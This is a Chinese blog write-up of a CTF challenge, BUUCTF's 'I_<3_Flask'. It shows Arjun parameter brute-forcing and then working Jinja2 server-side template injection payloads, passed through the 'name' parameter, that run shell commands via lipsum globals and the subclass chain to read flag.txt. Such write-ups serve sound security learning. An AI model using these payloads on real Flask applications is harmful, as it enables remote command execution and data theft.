BUUCTF-[RootersCTF2019]I_<3_Flask

题目描述flask框架,寻找一下flask路由,f12没有发现什么东西,看了wp,这里需要用到一个工具是Arjun,可以爆破我们所需要的参数:

下载:GitHub - s0md3v/Arjun: HTTP parameter discovery suite.

pip3 install arjun

python3 setup.py install

输入arjun -h查看版本,出现如下页面则安装成功:

arjun -u http://xxxxxxx.node4.buuoj.cn:81/ -c 100 -d 5

但是呢跑了半天也没出来,可以直接试试name参数。

方法一:

直接利用flask的一个方法:lipsum,在lipsum.__globals__含有os模块,利用方法:{{lipsum.__globals__['os'].popen('ls').read()}}

payload:/?name={{lipsum.__globals__['os'].popen('ls').read()}}

发现了flag.txt,直接用cat命令:

payload:/?name={{lipsum.__globals__['os'].popen('cat flag.txt').read()}}

方法二:

1.直接使用jinjia2模板进行注入测试

?name={{%27%27.__class__.__base__.__subclasses__()}}#查看当前页面下,加载的子类

全部复制出来,放到notepad++中进行查看。

可以查找的子类模块所在位置,编号为132(133-1)

2.?name={{''.__class__.__base__.__subclasses__()[132].__init__}} #查看模块是否被加载

加载成功就可以利用了。

3.?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

4.?name={{%27%27.__class__.__base__.__subclasses__()[132].__init__.__globals__[%27popen%27](%27cat%20flag.txt%27).read()}}

这个方法的详细介绍在青少年CTF-SSTI那篇。

就这样!啾咪 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值